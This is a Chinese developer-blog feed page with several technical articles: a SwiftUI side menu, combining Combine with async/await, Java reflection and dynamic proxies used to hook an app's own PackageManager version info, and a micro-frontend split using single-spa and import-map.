.frame(maxWidth:.infinity,maxHeight: .infinity,alignment: .topLeading)
.background(Color.white)
.cornerRadius(30)
.shadow(radius: 10)
.ignoresSafeArea()
}

}
}

struct SideMenuView:View {
var body: some View{

GeometryReader{proxy in
VStack(alignment:.leading){
//祖传头像
Image("avatar")
.resizable()
.aspectRatio(contentMode: .fill)
.frame(width: 100, height: 100, alignment: .center)
.clipShape(Circle())

Text("韦爵爷")
.font(.title)

Text("这个人很懒,什么都没留下")

//菜单

HStack{
Image(systemName: "archivebox")
Text("菜单一")
}
.padding(.top)

HStack{
Image(systemName: "note.text")
Text("菜单二")
}
.padding(.top)


HStack{
Image(systemName: "gearshape")
Text("个人设置")
}
.padding(.top)

Spacer()

HStack{
Image(systemName: "signature")
Text("退出登录")
}
.padding(.top)

}
.foregroundColor(.white)
.padding(.horizontal)
.padding(.top, 8 + proxy.safeAreaInsets.top)
.padding(.bottom, 8 + proxy.safeAreaInsets.bottom)
.frame(maxWidth:.infinity,maxHeight: .infinity,alignment: .topLeading)
.background(Color.orange)
.ignoresSafeArea()
}

}
}

struct ContentView_Previews: PreviewProvider {
static var previews: some View {
ContentView()
}
}

相关视频

Swift UI侧滑菜单Side Menu-哔哩哔哩


作者:RandyWei
链接:https://juejin.cn/post/7005374220360220702

收起阅读 »

聊聊 Combine 和 async/await 之间的合作

iOS
在 Xcode 13.2 中,苹果完成了 async/await 的向前部署(Back-deploying)工作,将最低的系统要求降低到了 iOS 13(macOS Catalina),这一举动鼓舞了越来越多的人开始尝试使用 async/await 进行开发。...
继续阅读 »

在 Xcode 13.2 中,苹果完成了 async/await 的向前部署(Back-deploying)工作,将最低的系统要求降低到了 iOS 13(macOS Catalina),这一举动鼓舞了越来越多的人开始尝试使用 async/await 进行开发。当大家在接触了异步序列(AsyncSequence)后,会发现它同 Combine 的表现有些接近,尤其结合近两年 Combine 框架几乎没有什么变化,不少人都提出了疑问:苹果是否打算使用 AsyncSequence 和 AsyncStream 替代 Combine。

恰巧我在最近的开发中碰到了一个可能需要结合 Combine 和 async/await 的使用场景,通过本文来聊聊 Combine 和 async/await 它们之间各自的优势、是否可以合作以及如何合作等问题。

原文发表在我的博客 wwww.fatbobman.com

欢迎订阅我的公共号:【肘子的Swift记事本】

需要解决的问题

在最近的开发中,我碰到了这样一个需求:

  • 在 app 的生命周期中,会不定期的产生一系列事件,事件的发生频率不定、产生的途径不定
  • 对每个事件的处理都需要消耗不小的系统资源,且需要调用系统提供的 async/await 版本的 API
  • app 对事件的处理结果时效性要求不高
  • 需要限制事件处理的系统消耗,避免同时处理多个事件
  • 不考虑使用 GCD 或 OperationQueue

对上述的需求稍加分析,很快就可以确立解决问题的方向:

  • Combine 在观察和接收事件方面表现的非常出色,应该是解决需求第一点的不二人选
  • 在解决方案中必然会使用到 async/await 的编程模式

需要解决的问题就只剩下两个:

  • 如何将事件处理串行化(必须处理完一个事件后才能处理下一个事件)
  • 如何将 Combine 和 async/await 结合使用

Combine 和 AsyncSequence 之间的比较

由于 Combine 同 AsyncSequence 之间存在不少相似之处,有不少开发者会认为 AsyncSequence 可能取代 Combine,例如:

  • 两者都允许通过异步的方式处理未来的值
  • 两者都允许开发者使用例如 map、flatMap 等函数对值进行操作
  • 当发生错误时,两者都会结束数据流

但事实上,它们之间还是有相当的区别。

事件的观察与接收

Combine 是为响应式编程而生的工具,从名称上就可以看出,它非常擅长将不同的事件流进行变形和合并,生成新的事件流。Combine 关注于对变化的响应。当一个属性发生变化,一个用户点击了按钮,或者通过 NotificationCenter 发送了一个通知,开发者都可以通过 Combine 提供了的内置工具做出及时处理。

通过 Combine 提供的 Subject(PassthroughSubject、CurrentValueSubject),开发者可以非常方便的向数据流中注入值,当你的代码是以命令式风格编写的时候,Subject 就尤为显得有价值。

在 async/await 中,通过 AsyncSequence,我们可以观察并接收网络流、文件、Notification 等方面的数据,但相较于 Combine,仍缺乏数据绑定以及类似 Subject 的数据注入能力。

在对事件的观察与接收方面,Combine 占有较大优势。

关于数据处理、变形的能力

仅从用于数据处理、变形的方法数量上来看,AsyncSequence 相较 Combine 还是有不小的差距。但 AsyncSequence 也提供了一些 Combine 尚未提供,且非常实用的方法和变量,例如:characters、lines 等。

由于侧重点不同,即使随着时间的推移两者增加了更多的内置方法,在数据处理和变形方面也不会趋于一致,更大的可能性是不断地在各自擅长的领域进行扩展。

错误处理方式

在 Combine 中,明确地规定了错误值 Failure 的类型,在数据处理链条中,除了要求 Output 数据值类型一致外,还要求错误值的类型也要相互匹配。为了实现这一目标,Combine 提供了大量的用于处理错误类型的操作方法,例如:mapError、setFailureType、retry 等。

使用上述方法处理错误,可以获得编译器级别的保证优势,但在另一方面,对于一个逻辑复杂的数据处理链,上述的错误处理方式也将导致代码的可读性显著下降,对开发者在错误处理方面的掌握要求也比较高。

async/await 则采用了开发者最为熟悉的 throw-catch 方式来进行错误处理。基本没有学习难度,代码也更符合大多数人的阅读习惯。

两者在错误处理上功能没有太大区别,主要体现在处理风格不同。

生命周期的管理

在 Combine 中,从订阅开始,到取消订阅,开发者通过代码可以对数据链的生命周期做清晰的定义。当使用 AsyncSequence 时,异步序列生命周期的表述则没有那么的明确。

调度与组织

在 Combine 中,开发者不仅可以通过指定调度器(scheduler),显式地组织异步事件的行为和地点,而且 Combine 还提供了控制管道数量、调整处理频率等多维度的处理手段。

AsyncSequence 则缺乏对于数据流的处理地点、频率、并发数量等控制能力。

下文中,我们将尝试解决前文中提出的需求,每个解决方案均采用了 Combine + async/await 融合的方式。

方案一

在 Combine 中,可以使用两种手段来限制数据的并发处理能力,一种是通过设定 flatMap 的 maxPublishers,另一种则是通过自定义 Subscriber。本方案中,我们将采用 flatMap 的方式来将事件的处理串行化。

在 Combine 中调用异步 API,目前官方提供的方法是将上游数据包装成 Future Publisher,并通过 flatMap 进行切换。

在方案一中,通过将 flatMap、Deferred(确保只有在订阅后 Future 才执行)、Future 结合到一起,创建一个新的 Operator,以实现我们的需求。

public extension Publisher {
func task<T>(maxPublishers: Subscribers.Demand = .unlimited,
_ transform: @escaping (Output) async -> T) -> Publishers.FlatMap<Deferred<Future<T, Never>>, Self> {
flatMap(maxPublishers: maxPublishers) { value in
Deferred {
Future { promise in
Task {
let output = await transform(value)
promise(.success(output))
}
}
}
}
}
}

public extension Publisher where Self.Failure == Never {
func emptySink() -> AnyCancellable {
sink(receiveValue: { _ in })
}
}

鉴于篇幅,完整的代码(支持 Error、SetFailureType)版本,请访问 Gist,本方案的代码参考了 Sundell 的 文章

使用方法如下:

var cancellables = Set<AnyCancellable>()

func asyncPrint(value: String) async {
print("hello \(value)")
try? await Task.sleep(nanoseconds: 1000000000)
}

["abc","sdg","353"].publisher
.task(maxPublishers:.max(1)){ value in
await asyncPrint(value:value)
}
.emptySink()
.store(in: &cancellables)
// Output
// hello abc
// 等待 1 秒
// hello sdg
// 等待 1 秒
// hello 353

假如将将上述代码中的["abc","sdg","353"].publisher更换成 PassthoughSubject 或 Notification ,会出现数据遗漏的情况。这个状况是因为我们限制了数据的并行处理数量,从而导致数据的消耗时间超过了数据的生成时间。需要在 Publisher 的后面添加 buffer,对数据进行缓冲。

let publisher = PassthroughSubject<String, Never>()
publisher
.buffer(size: 10, prefetch: .keepFull, whenFull: .dropOldest) // 缓存数量和策略根据业务的具体情况确定
.task(maxPublishers: .max(1)) { value in
await asyncPrint(value:value)
}
.emptySink()
.store(in: &cancellables)

publisher.send("fat")
publisher.send("bob")
publisher.send("man")

方案二

在方案二中,我们将采用的自定义 Subscriber 的方式来限制并行处理的数量,并尝试在 Subscriber 中调用 async/await 方法。

创建自定义 Subscriber:

extension Subscribers {
public class OneByOneSink<Input, Failure: Error>: Subscriber, Cancellable {
let receiveValue: (Input) -> Void
let receiveCompletion: (Subscribers.Completion<Failure>) -> Void

var subscription: Subscription?

public init(receiveCompletion: @escaping (Subscribers.Completion<Failure>) -> Void,
receiveValue: @escaping (Input) -> Void) {
self.receiveCompletion = receiveCompletion
self.receiveValue = receiveValue
}

public func receive(subscription: Subscription) {
self.subscription = subscription
subscription.request(.max(1)) // 订阅时申请数据量
}

public func receive(_ input: Input) -> Subscribers.Demand {
receiveValue(input)
return .max(1) // 数据处理结束后,再此申请的数据量
}

public func receive(completion: Subscribers.Completion<Failure>) {
receiveCompletion(completion)
}

public func cancel() {
subscription?.cancel()
subscription = nil
}
}
}

receive(subscription: Subscription)中,使用subscription.request(.max(1))设定了订阅者订阅时请求的数据量,在receive(_ input: Input)中,使用return .max(1)设定了每次执行完receiveValue方法后请求的数据量。通过上述方式,我们创建了一个每次申请一个值,逐个处理的订阅者。

但当我们在receiveValue方法中使用 Task 调用 async/await 代码时会发现,由于没有提供回调机制,订阅者将无视异步代码执行完成与否,调用后直接会申请下一个值,这与我们的需求不符。

在 Subscriber 中可以通过多种方式来实现回调机制,例如回调方法、Notification、@Published 等。下面的代码中我们使用 Notification 进行回调通知。

public extension Subscribers {
class OneByOneSink<Input, Failure: Error>: Subscriber, Cancellable {
let receiveValue: (Input) -> Void
let receiveCompletion: (Subscribers.Completion<Failure>) -> Void

var subscription: Subscription?
var cancellable: AnyCancellable?

public init(notificationName: Notification.Name,
receiveCompletion: @escaping (Subscribers.Completion<Failure>) -> Void,
receiveValue: @escaping (Input) -> Void) {
self.receiveCompletion = receiveCompletion
self.receiveValue = receiveValue
cancellable = NotificationCenter.default.publisher(for: notificationName, object: nil)
.sink(receiveValue: { [weak self] _ in self?.resume() })
// 在收到回调通知后,继续向 Publisher 申请新值
}

public func receive(subscription: Subscription) {
self.subscription = subscription
subscription.request(.max(1))
}

public func receive(_ input: Input) -> Subscribers.Demand {
receiveValue(input)
return .none // 调用函数后不继续申请新值
}

public func receive(completion: Subscribers.Completion<Failure>) {
receiveCompletion(completion)
}

public func cancel() {
subscription?.cancel()
subscription = nil
}

private func resume() {
subscription?.request(.max(1))
}
}
}

public extension Publisher {
func oneByOneSink(
_ notificationName: Notification.Name,
receiveCompletion: @escaping (Subscribers.Completion<Failure>) -> Void,
receiveValue: @escaping (Output) -> Void
) -> Cancellable {
let sink = Subscribers.OneByOneSink<Output, Failure>(
notificationName: notificationName,
receiveCompletion: receiveCompletion,
receiveValue: receiveValue
)
self.subscribe(sink)
return sink
}
}

public extension Publisher where Failure == Never {
func oneByOneSink(
_ notificationName: Notification.Name,
receiveValue: @escaping (Output) -> Void
) -> Cancellable where Failure == Never {
let sink = Subscribers.OneByOneSink<Output, Failure>(
notificationName: notificationName,
receiveCompletion: { _ in },
receiveValue: receiveValue
)
self.subscribe(sink)
return sink
}
}

调用:

let resumeNotification = Notification.Name("resume")

publisher
.buffer(size: 10, prefetch: .keepFull, whenFull: .dropOldest)
.oneByOneSink(
resumeNotification,
receiveValue: { value in
Task {
await asyncPrint(value: value)
NotificationCenter.default.post(name: resumeNotification, object: nil)
}
}
)
.store(in: &cancellables)

由于需要回调才能完成整个处理逻辑,针对本文需求,方案一相较方案二明显更优雅。

方案二中,数据处理链是可暂停的,很适合用于需要触发某种条件才可继续执行的场景。

方案三

在前文中提到过,苹果已经为 Notification 提供了 AsyncSequence 的支持。如果我们只通过 NotificationCenter 来发送事件,下面的代码就直接可以满足我们的需求:

let n = Notification.Name("event")
Task {
for await value in NotificationCenter.default.notifications(named: n, object: nil) {
if let str = value.object as? String {
await asyncPrint(value: str)
}
}
}

NotificationCenter.default.post(name: n, object: "event1")
NotificationCenter.default.post(name: n, object: "event2")
NotificationCenter.default.post(name: n, object: "event3")

简单的难以想象是吗?

遗憾的是,Combine 的 Subject 和其他的 Publishe 并没有直接遵循 AsyncSequence 协议。

但今年的 Combine 为 Publisher 增加了一个非常小但非常重要的功能——values。

values 的类型为 AsyncPublisher,其符合 AsyncSequence 协议。设计的目的就是将 Publisher 转换成 AsyncSequence。使用下面的代码便可以满足各种 Publisher 类型的需求:

let publisher = PassthroughSubject<String, Never>()
let p = publisher
.buffer(size: 10, prefetch: .keepFull, whenFull: .dropOldest)
Task {
for await value in p.values {
await asyncPrint(value: value)
}
}

因为 AsyncSequence 只能对数据逐个处理,因此我们无需再考虑数据的串行问题。

将 Publisher 转换成 AsyncSequence 的原理并不复杂,创建一个符合 AsyncSequence 的结构,将从 Publihser 中获取的数据通过 AsyncStream 转送出去,并将迭代器指向 AsyncStream 的迭代器即可。

我们可以用代码自己实现上面的 values 功能。下面我们创建了一个 sequence,功能表现同 values 类似。

public struct CombineAsyncPublsiher<P>: AsyncSequence, AsyncIteratorProtocol where P: Publisher, P.Failure == Never {
public typealias Element = P.Output
public typealias AsyncIterator = CombineAsyncPublsiher<P>

public func makeAsyncIterator() -> Self {
return self
}

private let stream: AsyncStream<P.Output>
private var iterator: AsyncStream<P.Output>.Iterator
private var cancellable: AnyCancellable?

public init(_ upstream: P, bufferingPolicy limit: AsyncStream<Element>.Continuation.BufferingPolicy = .unbounded) {
var subscription: AnyCancellable?
stream = AsyncStream<P.Output>(P.Output.self, bufferingPolicy: limit) { continuation in
subscription = upstream
.sink(receiveValue: { value in
continuation.yield(value)
})
}
cancellable = subscription
iterator = stream.makeAsyncIterator()
}

public mutating func next() async -> P.Output? {
await iterator.next()
}
}

public extension Publisher where Self.Failure == Never {
var sequence: CombineAsyncPublsiher<Self> {
CombineAsyncPublsiher(self)
}
}

完整代码,请参阅 Gist,本例的代码参考了 Marin Todorov 的 文章

sequence 在实现上和 values 还是有微小的不同的,如果感兴趣的朋友可以使用下面的代码,分析一下它们的不同点。

let p = publisher
.print() // 观察订阅器的请求情况。 values 的实现同方案二一样。
// sequence 使用了 AsyncStream 的 buffer,因此无需再设定 buffer

for await value in p.sequence {
await asyncPrint(value: value)
}

总结

在可以预见的未来,苹果一定会为 Combine 和 async/await 提供更多的预置融合手段。或许明后年,前两种方案就可以直接使用官方提供的 API 了。

希望本文能够对你有所帮助。

原文发表在我的博客 wwww.fatbobman.com

欢迎订阅我的公共号:【肘子的Swift记事本】

收起阅读 »

Android技能树点亮计划--Java反射与动态代理

简介 Java的反射是指程序在运行期可以拿到一个对象的所有信息 使用 反射主要分为以下几个步骤 1. 获取Class对象 JVM在加载类的时候,会为每个类生成一个独一无二的Class对象 获取方式有以下几种 //name = Test.class.getDe...
继续阅读 »

简介


Java的反射是指程序在运行期可以拿到一个对象的所有信息


使用


反射主要分为以下几个步骤


1. 获取Class对象


JVM在加载类的时候,会为每个类生成一个独一无二的Class对象


获取方式有以下几种 
//name = Test.class.getDeclaredField("name");
//name = test.getClass().getDeclaredField("name");
name = Class.forName("com.example.app.MainActivity$Test").getDeclaredField("name");

2. 操作fileds


Test test = new Test("xxx");
Field name;
try {
//name = Test.class.getDeclaredField("name");
//name = test.getClass().getDeclaredField("name");
name = Class.forName("com.example.app.MainActivity$Test").getDeclaredField("name");
name.setAccessible(true);
Log.d("test", (String)name.get(test));
} catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
}

class Test {
private String name;

public Test(String name) {
this.name = name;
}
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}



  • getDeclaredField :获取本类的任何field




  • getField:获取本类和基类的public field




  • 获取基类非public值,只能通过基类class的getDeclaredField




3. 调用method


// 无参数的方法
Method getName = Class.forName("com.example.app.MainActivity$Test").getMethod("getName");
Log.d("test", (String)getName.invoke(test));

// 有参数的方法
Method setName = Class.forName("com.example.app.MainActivity$Test").getMethod("setName", String.class);
setName.invoke(test, "sdaasda");
Log.d("test", test.getName());

动态代理


在程序运行期动态创建某个interface的实例,通过动态代理可以实现一个方法/类的hook


比如hook点击事件


public class HookOnClickListenerHelper {
public static View.OnClickListener hook(Context context, final View v) {//
return (OnClickListener)Proxy.newProxyInstance(v.getClass().getClassLoader(),
new Class[] {OnClickListener.class},
new ProxyHandler(new ProxyOnClickListener()));
}

static class ProxyHandler implements InvocationHandler {

private View.OnClickListener listener;

public ProxyHandler(OnClickListener listener) {
this.listener = listener;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return method.invoke(listener, args);
}
}

static class ProxyOnClickListener implements View.OnClickListener {
@Override
public void onClick(View v) {
Log.d("HookSetOnClickListener", "点击事件被hook到了");
}
}
}

findViewById(R.id.service).setOnClickListener(HookOnClickListenerHelper.hook(this, findViewById(R.id.service)))

实践


目标:动态代理应用版本号的返回


分析:


动态代理的实现相对来说是简单的,困难的部分在于通过读源码了解到功能是如何实现的,通过代理哪个类可以修改目标代码的返回



  1. Android是如何获取应用版本号的?


通过getPackageManager()的getPackageInfo()


PackageManager pm = getPackageManager();
PackageInfo pi = pm.getPackageInfo(getPackageName(), 0);
versionName = pi.versionName;
versioncode = pi.versionCode;


  1. getPackageManager()如何获取 ?


getPackageManager在Context中实现,Context是一个abstract Class,所有的实现都在 ContextImpl中,通过ContextImpl我们发现getPackageManager()是从 ActivityThread.getPackageManager()拿到的


// ContextImp.java
@Override
public PackageManager getPackageManager() {
if (mPackageManager != null) {
return mPackageManager;
}

final IPackageManager pm = ActivityThread.getPackageManager();
if (pm != null) {
// Doesn't matter if we make more than one instance.
return (mPackageManager = new ApplicationPackageManager(this, pm));
}

return null;
}


  1. ActivityThread如何获取?


ActivityThread内部有静态方法currentActivityThread()来获取


// ActivityThread.java
public static ActivityThread currentActivityThread() {
return sCurrentActivityThread;
}


  1. ActivityThread中的packageManager怎么获取?


在ActivityThread中定义了sPackageManager,通过它我们就能拿到sPackageManager


 public static IPackageManager getPackageManager() {
if (sPackageManager != null) {
//Slog.v("PackageManager", "returning cur default = " + sPackageManager);
return sPackageManager;
}
IBinder b = ServiceManager.getService("package");
//Slog.v("PackageManager", "default service binder = " + b);
sPackageManager = IPackageManager.Stub.asInterface(b);
//Slog.v("PackageManager", "default service = " + sPackageManager);
return sPackageManager;
}

代理:




  1. 获取ActivityThread


    // 获取ActivityThread
    activityThreadClz = Class.forName("android.app.ActivityThread");
    Method currentActivityThread = activityThreadClz.getDeclaredMethod("currentActivityThread");
    currentActivityThread.setAccessible(true);
    Object activityThread = currentActivityThread.invoke(null);




  2. 获取packageManager


    // 获取packageManager
    Field packageManagerField = activityThreadClz.getDeclaredField("sPackageManager");
    packageManagerField.setAccessible(true);
    final Object packageManager = packageManagerField.get(activityThread);




  3. 动态代理,处理getPackageInfo方法


    // 动态代理处理数据
    Class<?> packageManagerClazz = Class.forName("android.content.pm.IPackageManager", false, getClassLoader());
    Object proxy = Proxy.newProxyInstance(getClassLoader(), new Class[] {packageManagerClazz},
    new InvocationHandler() {
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Object result = method.invoke(packageManager, args);
    if ("getPackageInfo".equals(method.getName())) {
    PackageInfo packageInfo = (PackageInfo)result;
    packageInfo.versionName = "sdsds";
    }
    return result;
    }
    });




  4. 给packManger设置hook的对象


    //hook sPackageManager
    packageManagerField.set(activityThread, proxy);




测试:


//越早 hook 越好,推荐在 attachBaseContext 调用
PackageManager pm = getPackageManager();
try {
PackageInfo pi = pm.getPackageInfo(getPackageName(), 0);
Log.d(TAG, pi.versionName);
} catch (NameNotFoundException e) {
e.printStackTrace();
}


作者:悠二
链接:https://juejin.cn/post/7046353293240434724
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

微前端拆分实践

“这篇文章是我一次活动分享的讲稿”最近项目上机缘巧合用微前端解决了一些团队问题,借此机会跟大家分享一下。微前端作为近两年兴起的一种解决方案,也不是什么新东西了,既然是解决方案,那么微前端帮我们解决了什么问题呢?这里我以我们项目组为例子讲讲:我们为什么需要微前端...
继续阅读 »

这篇文章是我一次活动分享的讲稿

最近项目上机缘巧合用微前端解决了一些团队问题,借此机会跟大家分享一下。

微前端作为近两年兴起的一种解决方案,也不是什么新东西了,既然是解决方案,那么微前端帮我们解决了什么问题呢?这里我以我们项目组为例子讲讲:

我们为什么需要微前端?

我们的项目整体来看算得上一个比较大型的项目,整个项目规划完成后有 17 条业务线。但是在刚起项目的时候由于种种原因并没有考虑周全,将项目当成一个普通的前端项目来解决,在第一期项目结束,第一条业务上线后,我们紧接着开始了第二和第三条业务线的开发,紧接着我们就遇到了一些问题:

代码冲突

一期项目上线后交由维护团队维护,交付团队继续后面项目的开发。由于所有代码在同一个 repo 中作为一个大型单体被共同维护,两个团队的代码修改常常有冲突,需要小心 merge。同时还需要理解对方的业务,看自己的业务会不会破坏对方的业务。

部署冲突

由于所有的基础设施包括 CI/CD 等都是公用的,任何一个团队想要部署自己的代码,势必会对另外一个团队造成影响,不管是 feature toggle 还是 chunk base 的开发方式都将增大开发人员的心智负担。

技术栈冲突

由于项目比较大,未来团队的数量不确定,我们不能将技术栈限制死,否则就有可能有的团队要使用自己完全不熟练的技术栈,更别说未来还有第三方团队加入的可能性,我们不希望将整个项目绑定在某一个技术栈上。

基于这样的背景,我们发现微前端这套解决方案很好地解决了我们的问题。说白了在我们的项目背景下,我们最希望得到的东西是 -- 团队自治

我们希望各个业务线的团队能够自由修改自己的代码,不用担心与别的团队产生冲突。她们可以自由选择自己熟悉的技术栈,不必有过多限制。同时任何团队的部署都不会影响其他团队,这也就意味着某一个团队负责的部分如果挂掉了,网站上其他团队维护的部分也是可用的。

最重要的,这样的架构可以让各个团队聚焦在自己的技术和业务上,减少各个团队不必要的无效沟通,提升各个团队的开发效率。

拆分时机

对于微前端的拆分来说,这是一项工作量较大的技术改进,而且它不同于别的技术改进,它没有模版,没有办法按部就班的从网上找个东西过来照抄,必须要结合自己的项目来进行。

另一方面,我们需要达成共识的是,在我们的日常开发中,大多数情况下项目上不可能给开发人员足够的时间来做技术改进,这就意味着大多数技术改进需要同业务开发一同进行。那么找准一个改进的时机就很重要了。

那么这样的时机通常是什么时候呢?

业务有较大的改变或演进

这种情况我想大多数同学都经历过,在开发最初说的好好的需求,由于种种原因需要做一次大的改变。面对这种大的需求变更,通常我们的代码也需要做对应的改变,而这种改变也需要重写一些代码,这个重写的过程就是一个很好的进行拆分的好时机。

在这个期间我们有足够的理由说服项目干系人给我们时间去重新组织项目代码去更好地支持业务的发展。

业务稳定不再有大的改进

此时业务的发展趋于稳定,但目前的架构如果也的确给开发造成了阻碍。那么就可以在这个稳定架构上进行改进。当然此时的业务还在发展,我们可以采取两种策略:

  • 一种是以拆分任务为高优先级,新的业务开发基于新的架构
  • 一种是先在旧的架构上持续开发,在拆分的过程中由负责拆分的同学将业务和技术一起迁移过去

拆分原则

我们在拆分微前端的时候一定是带有某种目的的,有可能是想对技术栈进行渐进式升级,也有可能像我们一样想提升各个独立团队的自治力,在不同的目的下我们可能会秉持不同的原则,这也是另一个为什么微前端的拆分没办法简单抄作业的原因。

就我们项目来说,我们追求各个团队的最高自治力,那么我们就希望各个独立app尽量减少彼此的通信和依赖,每个app能够尽量独立处理自己的业务。

在这样的大前提下,我们可以按照业务为主模块为辅的方式指导拆分,基于此,我们定义了一些拆分时候的原则:

  • 保证业务独立,一条业务线应该由一个独立的app来支撑,使得该业务团队拥有这个app的完全控制权
  • 跨业务的页面不应该各个业务各自持有,也应该拆分为一个独立的app
  • 通用方法库和通用组件库由大家共同维护以支撑各自的业务

拆分前的准备

前置概念

single-spa

Single-spa 是一个微前端框架,它不限制每一个 app 具体使用怎样的技术栈,主要通过控制 route 的方式在页面上渲染不同的 app。

在开始微前端的拆分前我们进行了一些调研后选择了它作为我们微前端的框架,说是调研其实当时我们并没有过多的了解每一个框架,比如国内比较有名的 qiankun。

这里其实有一个小插曲,我们第一个了解的框架就是 single-spa,当时有一个小需求 single-spa 实现不了,于是我按照官网的文档去 slack 询问,第二天一大早我就收到了回复,算上时差他们一看到我的问题就给了我答复,这个反馈速度加上对国内开源社区的不乐观,我们直接就选择了 single-spa。

In-broswer module vs build time module

在开始实践前,我可能需要给大家介绍两个概念以帮助大家更好地理解接下来的架构设计,第一个概念是 in-broswer module,或者叫做es6 modules,与之对应的是现在用途最广的 build time module,这两个module有什么区别呢?我们先来看一个图:

module-build-result

module-build-result

这个图里两个 js 文件互相引用后最后打包的结果就是 build time module。在写代码的时候虽然你觉得这两个文件是分离的,但是其实在最终打包的时候这两个文件里的内容会被合并,最终变成一个 js 文件,然后这个 js 文件被 html 文件引用。

in-broswer module 则不同,这种模块是浏览器根据你提供的 url 从网络中请求回来的,你的每一个 import 都代表了一次网络请求,各个文件真的变成了独立的模块,通过网络请求相互依赖。

但是这样的模块有一个缺点,就是它没有办法像我们日常开发一样直接给一个名字就能直接引用到对应的模块:

import singleSpa from "single-spa";

由于需要在网络中定位到这个模块在哪里病发送对应的请求,它需要一个完整的url:

import singleSpa from "https://cdn.jsdelivr.net/npm/single-spa/esm/single-spa.min.js";

Import-map

这个特性使得大多数程序员都不喜欢它,毕竟大多数人都不想写一串长长的 url 来引用一个模块。为了解决这个问题,WICG 起草了一个新的浏览器规范,这个规范叫做 import map

<script type="importmap">
 {
  "imports": {
   "single-spa""https://cdn.jsdelivr.net/npm/single-spa/esm/single-spa.min.js"
  }
 }
</script>

import map 是一段特殊的 js,它的 type 为 importmap,在这个 script 标签里面的是一个 json object。这个 json object 的 key 就是某一个模块的名字,而它对应的 value 就是这个模块的 url 地址。

当然,既然 import-map 是一个 script 标签,那么理所应当它也可以加上 src 属性,成为一段外部 script:

<script type="importmap" src="https://some.url.to.your.importmap"></script>

在一些情况下,可能你的项目中引用了某一个包的不同版本,这时候可以用 import-map 的 scopes 功能来限制某一个文件的引用:

<script type="importmap">
 {
  "imports": {
   "lodash""https://unpkg.com/lodash@3"
  },
  "scopes": {
   "/module-a/": {
    "lodash""https://unpkg.com/lodash@4"
   }
  }
 }
</script>

这里的 scopes 代表了如果某一个 module 以 module-a 开头那么里面如果有引用 lodash 的 import,这个 import 将会引用 v4 版本,其他的 import 则都是引用的 v3 版本。

于是根据这个 import-map,我们就能够在代码里像使用正常模块那样使用 in-broswer module 了:

import singleSpa from "single-spa";

Systemjs

然后接下来就是前端传统节目,很显然,这么新的规范大部分浏览器目前都是不支持的,更别提永远也不可能支持的 IE 了,所以我们需要 polyfill - systemjs,它怎么工作的这里为了不扯远就不再赘述了,感兴趣的同学可以通过链接去 github 里面看文档,总的来说这是一个专门为了 es-module 而生的 polyfill。

我们从一个简单的 demo 来看它是怎么让 import-map 工作的:

es6-module-syntax

es6-module-syntax

这是一个很简单的 demo,HTML 页面中留有一段 template,然后导入一份 es-module,这份 module 也很简单,只做了一件事就是导入 vue 然后把 template 里面的 name 换成我们想要的东西。

但是这里有一个细节,我们在导入 vue 的时候必须用一段 url 来导入,如果我们把这段 url 换成我们平时开发时的字符串会发生什么呢?

import-without-url

import-without-url

这里会发生这样的错误是因为我们在 script 标签上标记了这个 script 是一个 es-module,于是里面的 import 关键字是浏览器在运行时执行的,但是因为后面的字符串没办法告诉浏览器 Vue 这个资源到底在哪,浏览器当然也就找不到对应的资源,于是就报错了。

如果我们想要将 url 替换为我们平时开发时候的字符串,就得依赖于 import-map,但是大部分浏览器现在都还不支持这一特性,于是我们需要引入 systemjs:

how-to-use-systemjs

how-to-use-systemjs

由于我们使用了 systemjs,为了按照它的规矩来行事,我们需要在原本的规范上修改一些代码:

  • 首先是我们需要在开始引入 systemjs
  • 然后将 import-map 的 type 从 importmap 改为 systemjs-importmap
  • 接着把 es-module 的 type 从 module 改为 systemjs-module
  • 最后是改动最大的地方,在 es-module 中我们不再使用 import 和 export 来导入导出模块,转而使用 systemjs 的语法,不过不用担心, webpack 和 rollup 等打包工具现在都支持将代码打包成 systemjs 风格,所以我们在写代码的时候还是可以按照正常规范来写

架构设计

到这里我们的前置概念就介绍完了,可以准备开始正式的拆分工作了,不过在拆分开始前,我们需要提前设计好我们的基础设施架构和代码组织方式。

基础设施架构

基于 single-spa 加上 import-map,我们最后计划好的基础设施架构大概长这个样子:

arch-of-micro-fe

arch-of-micro-fe

  1. 首先我们前端的所有静态资源都会分别部署在 AWS 的 S3 服务中,其中唯一的一份 HTML 文件存放在 root 容器的 S3 中。
  2. 当用户访问我们的网站时,流量会从 client 端到达 root 容器的 AWS S3,这个时候用户的浏览器会先加载根路径下的 HTML 页面,而 HTML 页面的 head 标签中有一份 import-map 的 script。
  3. 这时候 client 会再发送一次请求到我们的 import-map 所在的 S3 拿到 import-map。
  4. 然后我们在 body 标签中用 systemjs 引入 root 容器,整个 APP 开始运转,之后根据不同的路径去不同的 S3 拿对应的静态文件

部署策略

为了能够达到各个团队独立自治的目的,部署是必不可缺的一环,我们的最终目的是不同的团队部署不会影响其他团队的业务。一个团队的线上代码出了问题,其他团队的业务仍可正常运行,对于一个 to B 的项目来说,这样的规划是有意义的。

delpoy-plan

delpoy-plan

基于这个目的,每一个团队自己维护自己的 app 的 CI/CD pipeline。需要特别注意的是,在每一次部署后需要更新 import-map 自己团队对应的 app 地址,这样还可以达到版本管理的目的。只要 S3 中一直存放着某一个版本的静态资源,仅仅更新 import-map 的对应地址即可达到快速部署和回滚的目的。

pipeline-stage

pipeline-stage

本地开发策略

在本地开发时有两种策略,一种是直接在本地启动一个 root 容器,然后将本地的 APP 注册到 root 容器中。

但是这样的开发方式需要解决依赖问题,比如 APP 依赖的通用方法库、通用组件库。解决这些依赖问题也有两个办法,一个是直接将对应的依赖打包,在本地进行配置,本地开发时直接引用打包好的依赖;第二个方式是将这些依赖作为一个共享 APP 直接在本地作为一个类似于 server 一样运行,然后通过 import-map 来共享,在开发时直接引用导出的方法和组件,而 single-spa 也提供了这样的方式,感兴趣的读者可以通过这个链接详细了解。

